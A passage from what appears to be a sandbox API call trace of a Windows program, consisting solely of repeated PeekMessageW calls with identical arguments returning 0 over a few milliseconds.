wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.687] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.688] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.689] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.690] PeekMessageW (in: 